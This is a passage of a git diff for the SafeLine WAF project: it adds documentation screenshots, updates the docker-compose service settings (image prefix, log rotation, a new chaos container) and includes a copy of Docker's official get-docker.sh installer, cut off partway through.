Normal file
|
After Width: | Height: | Size: 1.6 MiB |
BIN
documents/static/images/docs/submission/operate-2.png
Normal file
|
After Width: | Height: | Size: 2.2 MiB |
BIN
documents/static/images/docs/submission/operate-3.png
Normal file
|
After Width: | Height: | Size: 2.5 MiB |
BIN
documents/static/images/docs/submission/operate-4.png
Normal file
|
After Width: | Height: | Size: 1.4 MiB |
BIN
documents/static/images/docs/submission/operate-5.png
Normal file
|
After Width: | Height: | Size: 1.9 MiB |
BIN
documents/static/images/docs/submission/operate-6.png
Normal file
|
After Width: | Height: | Size: 812 KiB |
BIN
documents/static/images/docs/submission/operate-7.png
Normal file
|
After Width: | Height: | Size: 1.6 MiB |
BIN
documents/static/images/docs/submission/operate-8.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
documents/static/images/docs/submission/operate-9.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
BIN
documents/static/images/docs/submission/operate.png
Normal file
|
After Width: | Height: | Size: 1.8 MiB |
2207
documents/yarn.lock
BIN
images/add-site-1.png
Normal file
|
After Width: | Height: | Size: 65 KiB |
BIN
images/add-site-2.png
Normal file
|
After Width: | Height: | Size: 28 KiB |
BIN
images/blocked.png
Normal file
|
After Width: | Height: | Size: 44 KiB |
BIN
images/log-detail.png
Normal file
|
After Width: | Height: | Size: 118 KiB |
BIN
images/log-list.png
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
images/login.png
Normal file
|
After Width: | Height: | Size: 123 KiB |
1
images/readme.md
Normal file
@@ -0,0 +1 @@
|
||||
readme
|
||||
BIN
images/safeline-as-proxy-2.png
Normal file
|
After Width: | Height: | Size: 29 KiB |
BIN
images/safeline-as-proxy.png
Normal file
|
After Width: | Height: | Size: 24 KiB |
BIN
images/safeline.png
Normal file
|
After Width: | Height: | Size: 559 KiB |
BIN
images/safeline_en.png
Normal file
|
After Width: | Height: | Size: 557 KiB |
@@ -14,7 +14,7 @@ services:
|
||||
postgres:
|
||||
container_name: safeline-pg
|
||||
restart: always
|
||||
image: swr.cn-east-3.myhuaweicloud.com/chaitin-safeline/postgres:15.2
|
||||
image: ${IMAGE_PREFIX}/safeline-postgres:15.2
|
||||
volumes:
|
||||
- ${SAFELINE_DIR}/resources/postgres/data:/var/lib/postgresql/data
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
@@ -24,7 +24,7 @@ services:
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.2
|
||||
command: [postgres, -c, max_connections=200]
|
||||
command: [postgres, -c, max_connections=600]
|
||||
healthcheck:
|
||||
test: pg_isready -U safeline-ce -d safeline-ce
|
||||
mgt:
|
||||
@@ -34,6 +34,7 @@ services:
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
- ${SAFELINE_DIR}/resources/mgt:/app/data
|
||||
- ${SAFELINE_DIR}/logs/nginx:/app/log/nginx:z
|
||||
ports:
|
||||
- ${MGT_PORT:-9443}:1443
|
||||
healthcheck:
|
||||
@@ -43,17 +44,10 @@ services:
|
||||
depends_on:
|
||||
- postgres
|
||||
- fvm
|
||||
dns:
|
||||
- 119.29.29.29
|
||||
- 223.5.5.5
|
||||
- 180.76.76.76
|
||||
- 1.2.4.8
|
||||
- 114.114.114.114
|
||||
- 8.8.8.8
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "10"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.4
|
||||
@@ -82,6 +76,10 @@ services:
|
||||
- LOG_DIR=/logs/mario
|
||||
- GOGC=100
|
||||
- DATABASE_URL=postgres://safeline-ce:${POSTGRES_PASSWORD}@safeline-pg/safeline-ce
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.6
|
||||
@@ -94,7 +92,8 @@ services:
|
||||
- /etc/resolv.conf:/etc/resolv.conf:ro
|
||||
- ${SAFELINE_DIR}/resources/nginx:/etc/nginx
|
||||
- ${SAFELINE_DIR}/resources/detector:/resources/detector
|
||||
- ${SAFELINE_DIR}/logs/nginx:/var/log/nginx
|
||||
- ${SAFELINE_DIR}/resources/chaos:/resources/chaos
|
||||
- ${SAFELINE_DIR}/logs/nginx:/var/log/nginx:z
|
||||
- ${SAFELINE_DIR}/resources/cache:/usr/local/nginx/cache
|
||||
environment:
|
||||
- TCD_MGT_API=https://${SUBNET_PREFIX}.4:1443/api/open/publish/server
|
||||
@@ -113,6 +112,10 @@ services:
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
- ${SAFELINE_DIR}/resources/luigi:/app/data
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "5"
|
||||
depends_on:
|
||||
- detect
|
||||
- mgt
|
||||
@@ -125,6 +128,10 @@ services:
|
||||
image: ${IMAGE_PREFIX}/safeline-fvm:${IMAGE_TAG}
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime:ro
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.8
|
||||
@@ -145,9 +152,22 @@ services:
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "10"
|
||||
max-file: "5"
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.9
|
||||
depends_on:
|
||||
- mgt
|
||||
- mgt
|
||||
chaos:
|
||||
container_name: safeline-chaos
|
||||
restart: always
|
||||
image: ${IMAGE_PREFIX}/safeline-chaos:${IMAGE_TAG}
|
||||
logging:
|
||||
options:
|
||||
max-size: "100m"
|
||||
max-file: "10"
|
||||
volumes:
|
||||
- ${SAFELINE_DIR}/resources/chaos:/app/chaos
|
||||
networks:
|
||||
safeline-ce:
|
||||
ipv4_address: ${SUBNET_PREFIX}.10
|
||||
744
release/latest/get-docker.sh
Executable file
@@ -0,0 +1,744 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
# Docker Engine for Linux installation script.
|
||||
#
|
||||
# This script is intended as a convenient way to configure docker's package
|
||||
# repositories and to install Docker Engine, This script is not recommended
|
||||
# for production environments. Before running this script, make yourself familiar
|
||||
# with potential risks and limitations, and refer to the installation manual
|
||||
# at https://docs.docker.com/engine/install/ for alternative installation methods.
|
||||
#
|
||||
# The script:
|
||||
#
|
||||
# - Requires `root` or `sudo` privileges to run.
|
||||
# - Attempts to detect your Linux distribution and version and configure your
|
||||
# package management system for you.
|
||||
# - Doesn't allow you to customize most installation parameters.
|
||||
# - Installs dependencies and recommendations without asking for confirmation.
|
||||
# - Installs the latest stable release (by default) of Docker CLI, Docker Engine,
|
||||
# Docker Buildx, Docker Compose, containerd, and runc. When using this script
|
||||
# to provision a machine, this may result in unexpected major version upgrades
|
||||
# of these packages. Always test upgrades in a test environment before
|
||||
# deploying to your production systems.
|
||||
# - Isn't designed to upgrade an existing Docker installation. When using the
|
||||
# script to update an existing installation, dependencies may not be updated
|
||||
# to the expected version, resulting in outdated versions.
|
||||
#
|
||||
# Source code is available at https://github.com/docker/docker-install/
|
||||
#
|
||||
# Usage
|
||||
# ==============================================================================
|
||||
#
|
||||
# To install the latest stable versions of Docker CLI, Docker Engine, and their
|
||||
# dependencies:
|
||||
#
|
||||
# 1. download the script
|
||||
#
|
||||
# $ curl -fsSL https://get.docker.com -o install-docker.sh
|
||||
#
|
||||
# 2. verify the script's content
|
||||
#
|
||||
# $ cat install-docker.sh
|
||||
#
|
||||
# 3. run the script with --dry-run to verify the steps it executes
|
||||
#
|
||||
# $ sh install-docker.sh --dry-run
|
||||
#
|
||||
# 4. run the script either as root, or using sudo to perform the installation.
|
||||
#
|
||||
# $ sudo sh install-docker.sh
|
||||
#
|
||||
# Command-line options
|
||||
# ==============================================================================
|
||||
#
|
||||
# --version <VERSION>
|
||||
# Use the --version option to install a specific version, for example:
|
||||
#
|
||||
# $ sudo sh install-docker.sh --version 23.0
|
||||
#
|
||||
# --channel <stable|test>
|
||||
#
|
||||
# Use the --channel option to install from an alternative installation channel.
|
||||
# The following example installs the latest versions from the "test" channel,
|
||||
# which includes pre-releases (alpha, beta, rc):
|
||||
#
|
||||
# $ sudo sh install-docker.sh --channel test
|
||||
#
|
||||
# Alternatively, use the script at https://test.docker.com, which uses the test
|
||||
# channel as default.
|
||||
#
|
||||
# --mirror <Aliyun|AzureChinaCloud>
|
||||
#
|
||||
# Use the --mirror option to install from a mirror supported by this script.
|
||||
# Available mirrors are "Aliyun" (https://mirrors.aliyun.com/docker-ce), and
|
||||
# "AzureChinaCloud" (https://mirror.azure.cn/docker-ce), for example:
|
||||
#
|
||||
# $ sudo sh install-docker.sh --mirror AzureChinaCloud
|
||||
#
|
||||
# ==============================================================================
|
||||
|
||||
|
||||
# Git commit from https://github.com/docker/docker-install when
|
||||
# the script was uploaded (Should only be modified by upload job):
|
||||
SCRIPT_COMMIT_SHA="6d9743e9656cc56f699a64800b098d5ea5a60020"
|
||||
|
||||
# strip "v" prefix if present
|
||||
VERSION="${VERSION#v}"
|
||||
|
||||
# The channel to install from:
|
||||
# * stable
|
||||
# * test
|
||||
# * edge (deprecated)
|
||||
# * nightly (deprecated)
|
||||
DEFAULT_CHANNEL_VALUE="stable"
|
||||
if [ -z "$CHANNEL" ]; then
|
||||
CHANNEL=$DEFAULT_CHANNEL_VALUE
|
||||
fi
|
||||
|
||||
DEFAULT_DOWNLOAD_URL="https://download.docker.com"
|
||||
if [ -z "$DOWNLOAD_URL" ]; then
|
||||
DOWNLOAD_URL=$DEFAULT_DOWNLOAD_URL
|
||||
fi
|
||||
|
||||
DEFAULT_REPO_FILE="docker-ce.repo"
|
||||
if [ -z "$REPO_FILE" ]; then
|
||||
REPO_FILE="$DEFAULT_REPO_FILE"
|
||||
fi
|
||||
|
||||
mirror=''
|
||||
DRY_RUN=${DRY_RUN:-}
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--channel)
|
||||
CHANNEL="$2"
|
||||
shift
|
||||
;;
|
||||
--dry-run)
|
||||
DRY_RUN=1
|
||||
;;
|
||||
--mirror)
|
||||
mirror="$2"
|
||||
shift
|
||||
;;
|
||||
--version)
|
||||
VERSION="${2#v}"
|
||||
shift
|
||||
;;
|
||||
--*)
|
||||
echo "Illegal option $1"
|
||||
;;
|
||||
esac
|
||||
shift $(( $# > 0 ? 1 : 0 ))
|
||||
done
|
||||
|
||||
case "$mirror" in
|
||||
Aliyun)
|
||||
DOWNLOAD_URL="https://mirrors.aliyun.com/docker-ce"
|
||||
;;
|
||||
AzureChinaCloud)
|
||||
DOWNLOAD_URL="https://mirror.azure.cn/docker-ce"
|
||||
;;
|
||||
Tencent)
|
||||
DOWNLOAD_URL="https://mirrors.tencent.com/docker-ce"
|
||||
;;
|
||||
"")
|
||||
;;
|
||||
*)
|
||||
>&2 echo "unknown mirror '$mirror': use either 'Aliyun', 'Tencent' or 'AzureChinaCloud'."
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
case "$CHANNEL" in
|
||||
stable|test)
|
||||
;;
|
||||
edge|nightly)
|
||||
>&2 echo "DEPRECATED: the $CHANNEL channel has been deprecated and is no longer supported by this script."
|
||||
exit 1
|
||||
;;
|
||||
*)
|
||||
>&2 echo "unknown CHANNEL '$CHANNEL': use either stable or test."
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
command_exists() {
|
||||
command -v "$@" > /dev/null 2>&1
|
||||
}
|
||||
|
||||
# version_gte checks if the version specified in $VERSION is at least the given
|
||||
# SemVer (Maj.Minor[.Patch]), or CalVer (YY.MM) version.It returns 0 (success)
|
||||
# if $VERSION is either unset (=latest) or newer or equal than the specified
|
||||
# version, or returns 1 (fail) otherwise.
|
||||
#
|
||||
# examples:
|
||||
#
|
||||
# VERSION=23.0
|
||||
# version_gte 23.0 // 0 (success)
|
||||
# version_gte 20.10 // 0 (success)
|
||||
# version_gte 19.03 // 0 (success)
|
||||
# version_gte 21.10 // 1 (fail)
|
||||
version_gte() {
|
||||
if [ -z "$VERSION" ]; then
|
||||
return 0
|
||||
fi
|
||||
eval version_compare "$VERSION" "$1"
|
||||
}
|
||||
|
||||
# version_compare compares two version strings (either SemVer (Major.Minor.Path),
|
||||
# or CalVer (YY.MM) version strings. It returns 0 (success) if version A is newer
|
||||
# or equal than version B, or 1 (fail) otherwise. Patch releases and pre-release
|
||||
# (-alpha/-beta) are not taken into account
|
||||
#
|
||||
# examples:
|
||||
#
|
||||
# version_compare 23.0.0 20.10 // 0 (success)
|
||||
# version_compare 23.0 20.10 // 0 (success)
|
||||
# version_compare 20.10 19.03 // 0 (success)
|
||||
# version_compare 20.10 20.10 // 0 (success)
|
||||
# version_compare 19.03 20.10 // 1 (fail)
|
||||
version_compare() (
|
||||
set +x
|
||||
|
||||
yy_a="$(echo "$1" | cut -d'.' -f1)"
|
||||
yy_b="$(echo "$2" | cut -d'.' -f1)"
|
||||
if [ "$yy_a" -lt "$yy_b" ]; then
|
||||
return 1
|
||||
fi
|
||||
if [ "$yy_a" -gt "$yy_b" ]; then
|
||||
return 0
|
||||
fi
|
||||
mm_a="$(echo "$1" | cut -d'.' -f2)"
|
||||
mm_b="$(echo "$2" | cut -d'.' -f2)"
|
||||
|
||||
# trim leading zeros to accommodate CalVer
|
||||
mm_a="${mm_a#0}"
|
||||
mm_b="${mm_b#0}"
|
||||
|
||||
if [ "${mm_a:-0}" -lt "${mm_b:-0}" ]; then
|
||||
return 1
|
||||
fi
|
||||
|
||||
return 0
|
||||
)
|
||||
|
||||
is_dry_run() {
|
||||
if [ -z "$DRY_RUN" ]; then
|
||||
return 1
|
||||
else
|
||||
return 0
|
||||
fi
|
||||
}
|
||||
|
||||
is_wsl() {
|
||||
case "$(uname -r)" in
|
||||
*microsoft* ) true ;; # WSL 2
|
||||
*Microsoft* ) true ;; # WSL 1
|
||||
* ) false;;
|
||||
esac
|
||||
}
|
||||
|
||||
is_darwin() {
|
||||
case "$(uname -s)" in
|
||||
*darwin* ) true ;;
|
||||
*Darwin* ) true ;;
|
||||
* ) false;;
|
||||
esac
|
||||
}
|
||||
|
||||
deprecation_notice() {
|
||||
distro=$1
|
||||
distro_version=$2
|
||||
echo
|
||||
printf "\033[91;1mDEPRECATION WARNING\033[0m\n"
|
||||
printf " This Linux distribution (\033[1m%s %s\033[0m) reached end-of-life and is no longer supported by this script.\n" "$distro" "$distro_version"
|
||||
echo " No updates or security fixes will be released for this distribution, and users are recommended"
|
||||
echo " to upgrade to a currently maintained version of $distro."
|
||||
echo
|
||||
printf "Press \033[1mCtrl+C\033[0m now to abort this script, or wait for the installation to continue."
|
||||
echo
|
||||
sleep 10
|
||||
}
|
||||
|
||||
get_distribution() {
|
||||
lsb_dist=""
|
||||
# Every system that we officially support has /etc/os-release
|
||||
if [ -r /etc/os-release ]; then
|
||||
lsb_dist="$(. /etc/os-release && echo "$ID")"
|
||||
fi
|
||||
# Returning an empty string here should be alright since the
|
||||
# case statements don't act unless you provide an actual value
|
||||
echo "$lsb_dist"
|
||||
}
|
||||
|
||||
echo_docker_as_nonroot() {
|
||||
if is_dry_run; then
|
||||
return
|
||||
fi
|
||||
if command_exists docker && [ -e /var/run/docker.sock ]; then
|
||||
(
|
||||
set -x
|
||||
$sh_c 'docker version'
|
||||
) || true
|
||||
fi
|
||||
|
||||
# intentionally mixed spaces and tabs here -- tabs are stripped by "<<-EOF", spaces are kept in the output
|
||||
echo
|
||||
echo "================================================================================"
|
||||
echo
|
||||
if version_gte "20.10"; then
|
||||
echo "To run Docker as a non-privileged user, consider setting up the"
|
||||
echo "Docker daemon in rootless mode for your user:"
|
||||
echo
|
||||
echo " dockerd-rootless-setuptool.sh install"
|
||||
echo
|
||||
echo "Visit https://docs.docker.com/go/rootless/ to learn about rootless mode."
|
||||
echo
|
||||
fi
|
||||
echo
|
||||
echo "To run the Docker daemon as a fully privileged service, but granting non-root"
|
||||
echo "users access, refer to https://docs.docker.com/go/daemon-access/"
|
||||
echo
|
||||
echo "WARNING: Access to the remote API on a privileged Docker daemon is equivalent"
|
||||
echo " to root access on the host. Refer to the 'Docker daemon attack surface'"
|
||||
echo " documentation for details: https://docs.docker.com/go/attack-surface/"
|
||||
echo
|
||||
echo "================================================================================"
|
||||
echo
|
||||
}
|
||||
|
||||
# Check if this is a forked Linux distro
|
||||
check_forked() {
|
||||
|
||||
# Check for lsb_release command existence, it usually exists in forked distros
|
||||
if command_exists lsb_release; then
|
||||
# Check if the `-u` option is supported
|
||||
set +e
|
||||
lsb_release -a -u > /dev/null 2>&1
|
||||
lsb_release_exit_code=$?
|
||||
set -e
|
||||
|
||||
# Check if the command has exited successfully, it means we're in a forked distro
|
||||
if [ "$lsb_release_exit_code" = "0" ]; then
|
||||
# Print info about current distro
|
||||
cat <<-EOF
|
||||
You're using '$lsb_dist' version '$dist_version'.
|
||||
EOF
|
||||
|
||||
# Get the upstream release info
|
||||
lsb_dist=$(lsb_release -a -u 2>&1 | tr '[:upper:]' '[:lower:]' | grep -E 'id' | cut -d ':' -f 2 | tr -d '[:space:]')
|
||||
dist_version=$(lsb_release -a -u 2>&1 | tr '[:upper:]' '[:lower:]' | grep -E 'codename' | cut -d ':' -f 2 | tr -d '[:space:]')
|
||||
|
||||
# Print info about upstream distro
|
||||
cat <<-EOF
|
||||
Upstream release is '$lsb_dist' version '$dist_version'.
|
||||
EOF
|
||||
else
|
||||
if [ -r /etc/debian_version ] && [ "$lsb_dist" != "ubuntu" ] && [ "$lsb_dist" != "raspbian" ]; then
|
||||
if [ "$lsb_dist" = "osmc" ]; then
|
||||
# OSMC runs Raspbian
|
||||
lsb_dist=raspbian
|
||||
else
|
||||
# We're Debian and don't even know it!
|
||||
lsb_dist=debian
|
||||
fi
|
||||
dist_version="$(sed 's/\/.*//' /etc/debian_version | sed 's/\..*//')"
|
||||
case "$dist_version" in
|
||||
12)
|
||||
dist_version="bookworm"
|
||||
;;
|
||||
11)
|
||||
dist_version="bullseye"
|
||||
;;
|
||||
10)
|
||||
dist_version="buster"
|
||||
;;
|
||||
9)
|
||||
dist_version="stretch"
|
||||
;;
|
||||
8)
|
||||
dist_version="jessie"
|
||||
;;
|
||||
esac
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
do_install() {
|
||||
echo "# Executing docker install script, commit: $SCRIPT_COMMIT_SHA"
|
||||
|
||||
if command_exists docker; then
|
||||
cat >&2 <<-'EOF'
|
||||
Warning: the "docker" command appears to already exist on this system.
|
||||
|
||||
If you already have Docker installed, this script can cause trouble, which is
|
||||
why we're displaying this warning and provide the opportunity to cancel the
|
||||
installation.
|
||||
|
||||
If you installed the current Docker package using this script and are using it
|
||||
again to update Docker, you can safely ignore this message.
|
||||
|
||||
You may press Ctrl+C now to abort this script.
|
||||
EOF
|
||||
( set -x; sleep 20 )
|
||||
fi
|
||||
|
||||
user="$(id -un 2>/dev/null || true)"
|
||||
|
||||
sh_c='sh -c'
|
||||
if [ "$user" != 'root' ]; then
|
||||
if command_exists sudo; then
|
||||
sh_c='sudo -E sh -c'
|
||||
elif command_exists su; then
|
||||
sh_c='su -c'
|
||||
else
|
||||
cat >&2 <<-'EOF'
|
||||
Error: this installer needs the ability to run commands as root.
|
||||
We are unable to find either "sudo" or "su" available to make this happen.
|
||||
EOF
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
if is_dry_run; then
|
||||
sh_c="echo"
|
||||
fi
|
||||
|
||||
# perform some very rudimentary platform detection
|
||||
lsb_dist=$( get_distribution )
|
||||
lsb_dist="$(echo "$lsb_dist" | tr '[:upper:]' '[:lower:]')"
|
||||
|
||||
if is_wsl; then
|
||||
echo
|
||||
echo "WSL DETECTED: We recommend using Docker Desktop for Windows."
|
||||
echo "Please get Docker Desktop from https://www.docker.com/products/docker-desktop/"
|
||||
echo
|
||||
cat >&2 <<-'EOF'
|
||||
|
||||
You may press Ctrl+C now to abort this script.
|
||||
EOF
|
||||
( set -x; sleep 20 )
|
||||
fi
|
||||
|
||||
case "$lsb_dist" in
|
||||
|
||||
ubuntu)
|
||||
if command_exists lsb_release; then
|
||||
dist_version="$(lsb_release --codename | cut -f2)"
|
||||
fi
|
||||
if [ -z "$dist_version" ] && [ -r /etc/lsb-release ]; then
|
||||
dist_version="$(. /etc/lsb-release && echo "$DISTRIB_CODENAME")"
|
||||
fi
|
||||
;;
|
||||
|
||||
debian|raspbian)
|
||||
dist_version="$(sed 's/\/.*//' /etc/debian_version | sed 's/\..*//')"
|
||||
case "$dist_version" in
|
||||
12)
|
||||
dist_version="bookworm"
|
||||
;;
|
||||
11)
|
||||
dist_version="bullseye"
|
||||
;;
|
||||
10)
|
||||
dist_version="buster"
|
||||
;;
|
||||
9)
|
||||
dist_version="stretch"
|
||||
;;
|
||||
8)
|
||||
dist_version="jessie"
|
||||
;;
|
||||
esac
|
||||
;;
|
||||
|
||||
centos|rhel)
|
||||
if [ -z "$dist_version" ] && [ -r /etc/os-release ]; then
|
||||
dist_version="$(. /etc/os-release && echo "$VERSION_ID")"
|
||||
fi
|
||||
;;
|
||||
|
||||
*)
|
||||
if command_exists lsb_release; then
|
||||
dist_version="$(lsb_release --release | cut -f2)"
|
||||
fi
|
||||
if [ -z "$dist_version" ] && [ -r /etc/os-release ]; then
|
||||
dist_version="$(. /etc/os-release && echo "$VERSION_ID")"
|
||||
fi
|
||||
;;
|
||||
|
||||
esac
|
||||
|
||||
# Check if this is a forked Linux distro
|
||||
check_forked
|
||||
|
||||
# Print deprecation warnings for distro versions that recently reached EOL,
|
||||
# but may still be commonly used (especially LTS versions).
|
||||
case "$lsb_dist.$dist_version" in
|
||||
debian.stretch|debian.jessie)
|
||||
deprecation_notice "$lsb_dist" "$dist_version"
|
||||
;;
|
||||
raspbian.stretch|raspbian.jessie)
|
||||
deprecation_notice "$lsb_dist" "$dist_version"
|
||||
;;
|
||||
ubuntu.xenial|ubuntu.trusty)
|
||||
deprecation_notice "$lsb_dist" "$dist_version"
|
||||
;;
|
||||
ubuntu.lunar|ubuntu.kinetic|ubuntu.impish|ubuntu.hirsute|ubuntu.groovy|ubuntu.eoan|ubuntu.disco|ubuntu.cosmic)
|
||||
deprecation_notice "$lsb_dist" "$dist_version"
|
||||
;;
|
||||
fedora.*)
|
||||
if [ "$dist_version" -lt 36 ]; then
|
||||
deprecation_notice "$lsb_dist" "$dist_version"
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
|
||||
# Run setup for each distro accordingly
|
||||
case "$lsb_dist" in
|
||||
ubuntu|debian|raspbian)
|
||||
pre_reqs="apt-transport-https ca-certificates curl"
|
||||
apt_repo="deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] $DOWNLOAD_URL/linux/$lsb_dist $dist_version $CHANNEL"
|
||||
(
|
||||
if ! is_dry_run; then
|
||||
set -x
|
||||
fi
|
||||
$sh_c 'apt-get update >/dev/null'
|
||||
$sh_c "DEBIAN_FRONTEND=noninteractive apt-get install -y $pre_reqs"
|
||||
$sh_c 'install -m 0755 -d /etc/apt/keyrings'
|
||||
$sh_c "curl -fsSL \"$DOWNLOAD_URL/linux/$lsb_dist/gpg\" -o /etc/apt/keyrings/docker.asc"
|
||||
$sh_c "chmod a+r /etc/apt/keyrings/docker.asc"
|
||||
$sh_c "echo \"$apt_repo\" > /etc/apt/sources.list.d/docker.list"
|
||||
$sh_c 'apt-get update >/dev/null'
|
||||
)
|
||||
pkg_version=""
|
||||
if [ -n "$VERSION" ]; then
|
||||
if is_dry_run; then
|
||||
echo "# WARNING: VERSION pinning is not supported in DRY_RUN"
|
||||
else
|
||||
# Will work for incomplete versions IE (17.12), but may not actually grab the "latest" if in the test channel
|
||||
pkg_pattern="$(echo "$VERSION" | sed 's/-ce-/~ce~.*/g' | sed 's/-/.*/g')"
|
||||
search_command="apt-cache madison docker-ce | grep '$pkg_pattern' | head -1 | awk '{\$1=\$1};1' | cut -d' ' -f 3"
|
||||
pkg_version="$($sh_c "$search_command")"
|
||||
echo "INFO: Searching repository for VERSION '$VERSION'"
|
||||
echo "INFO: $search_command"
|
||||
if [ -z "$pkg_version" ]; then
|
||||
echo
|
||||
echo "ERROR: '$VERSION' not found amongst apt-cache madison results"
|
||||
echo
|
||||
exit 1
|
||||
fi
|
||||
if version_gte "18.09"; then
|
||||
search_command="apt-cache madison docker-ce-cli | grep '$pkg_pattern' | head -1 | awk '{\$1=\$1};1' | cut -d' ' -f 3"
|
||||
echo "INFO: $search_command"
|
||||
cli_pkg_version="=$($sh_c "$search_command")"
|
||||
fi
|
||||
pkg_version="=$pkg_version"
|
||||
fi
|
||||
fi
|
||||
(
|
||||
pkgs="docker-ce${pkg_version%=}"
|
||||
if version_gte "18.09"; then
|
||||
# older versions didn't ship the cli and containerd as separate packages
|
||||
pkgs="$pkgs docker-ce-cli${cli_pkg_version%=} containerd.io"
|
||||
fi
|
||||
if version_gte "20.10"; then
|
||||
pkgs="$pkgs docker-compose-plugin docker-ce-rootless-extras$pkg_version"
|
||||
fi
|
||||
if version_gte "23.0"; then
|
||||
pkgs="$pkgs docker-buildx-plugin"
|
||||
fi
|
||||
if ! is_dry_run; then
|
||||
set -x
|
||||
fi
|
||||
$sh_c "DEBIAN_FRONTEND=noninteractive apt-get install -y $pkgs"
|
||||
)
|
||||
echo_docker_as_nonroot
|
||||
exit 0
|
||||
;;
|
||||
centos|fedora|rhel)
|
||||
if [ "$(uname -m)" != "s390x" ] && [ "$lsb_dist" = "rhel" ]; then
|
||||
echo "Packages for RHEL are currently only available for s390x."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if command_exists dnf; then
|
||||
pkg_manager="dnf"
|
||||
pkg_manager_flags="--best"
|
||||
config_manager="dnf config-manager"
|
||||
enable_channel_flag="--set-enabled"
|
||||
disable_channel_flag="--set-disabled"
|
||||
pre_reqs="dnf-plugins-core"
|
||||
else
|
||||
pkg_manager="yum"
|
||||
pkg_manager_flags=""
|
||||
config_manager="yum-config-manager"
|
||||
enable_channel_flag="--enable"
|
||||
disable_channel_flag="--disable"
|
||||
pre_reqs="yum-utils"
|
||||
fi
|
||||
|
||||
if [ "$lsb_dist" = "fedora" ]; then
|
||||
pkg_suffix="fc$dist_version"
|
||||
else
|
||||
pkg_suffix="el"
|
||||
fi
|
||||
repo_file_url="$DOWNLOAD_URL/linux/$lsb_dist/$REPO_FILE"
|
||||
(
|
||||
if ! is_dry_run; then
|
||||
set -x
|
||||
fi
|
||||
$sh_c "$pkg_manager $pkg_manager_flags install -y $pre_reqs"
|
||||
$sh_c "$config_manager --add-repo $repo_file_url"
|
||||
|
||||
if [ "$CHANNEL" != "stable" ]; then
|
||||
$sh_c "$config_manager $disable_channel_flag 'docker-ce-*'"
|
||||
$sh_c "$config_manager $enable_channel_flag 'docker-ce-$CHANNEL'"
|
||||
fi
|
||||
$sh_c "$pkg_manager makecache"
|
||||
)
|
||||
pkg_version=""
|
||||
if [ -n "$VERSION" ]; then
|
||||
if is_dry_run; then
|
||||
echo "# WARNING: VERSION pinning is not supported in DRY_RUN"
|
||||
else
|
||||
pkg_pattern="$(echo "$VERSION" | sed 's/-ce-/\\\\.ce.*/g' | sed 's/-/.*/g').*$pkg_suffix"
|
||||
search_command="$pkg_manager list --showduplicates docker-ce | grep '$pkg_pattern' | tail -1 | awk '{print \$2}'"
|
||||
pkg_version="$($sh_c "$search_command")"
|
||||
echo "INFO: Searching repository for VERSION '$VERSION'"
|
||||
echo "INFO: $search_command"
|
||||
if [ -z "$pkg_version" ]; then
|
||||
echo
|
||||
echo "ERROR: '$VERSION' not found amongst $pkg_manager list results"
|
||||
echo
|
||||
exit 1
|
||||
fi
|
||||
if version_gte "18.09"; then
|
||||
# older versions don't support a cli package
|
||||
search_command="$pkg_manager list --showduplicates docker-ce-cli | grep '$pkg_pattern' | tail -1 | awk '{print \$2}'"
|
||||
cli_pkg_version="$($sh_c "$search_command" | cut -d':' -f 2)"
|
||||
fi
|
||||
# Cut out the epoch and prefix with a '-'
|
||||
pkg_version="-$(echo "$pkg_version" | cut -d':' -f 2)"
|
||||
fi
|
||||
fi
|
||||
(
|
||||
pkgs="docker-ce$pkg_version"
|
||||
if version_gte "18.09"; then
|
||||
# older versions didn't ship the cli and containerd as separate packages
|
||||
if [ -n "$cli_pkg_version" ]; then
|
||||
pkgs="$pkgs docker-ce-cli-$cli_pkg_version containerd.io"
|
||||
else
|
||||
pkgs="$pkgs docker-ce-cli containerd.io"
|
||||
fi
|
||||
fi
|
||||
if version_gte "20.10"; then
|
||||
pkgs="$pkgs docker-compose-plugin docker-ce-rootless-extras$pkg_version"
|
||||
fi
|
||||
if version_gte "23.0"; then
|
||||
pkgs="$pkgs docker-buildx-plugin"
|
||||
fi
|
||||
if ! is_dry_run; then
|
||||
set -x
|
||||
fi
|
||||
$sh_c "$pkg_manager $pkg_manager_flags install -y $pkgs"
|
||||
)
|
||||
echo_docker_as_nonroot
|
||||
exit 0
|
||||
;;
|
||||
sles)
|
||||
if [ "$(uname -m)" != "s390x" ]; then
|
||||
echo "Packages for SLES are currently only available for s390x"
|
||||
exit 1
|
||||
fi
|
||||
repo_file_url="$DOWNLOAD_URL/linux/$lsb_dist/$REPO_FILE"
|
||||
pre_reqs="ca-certificates curl libseccomp2 awk"
|
||||
(
|
||||
if ! is_dry_run; then
|
||||
set -x
|
||||
fi
|
||||
$sh_c "zypper install -y $pre_reqs"
|
||||
$sh_c "zypper addrepo $repo_file_url"
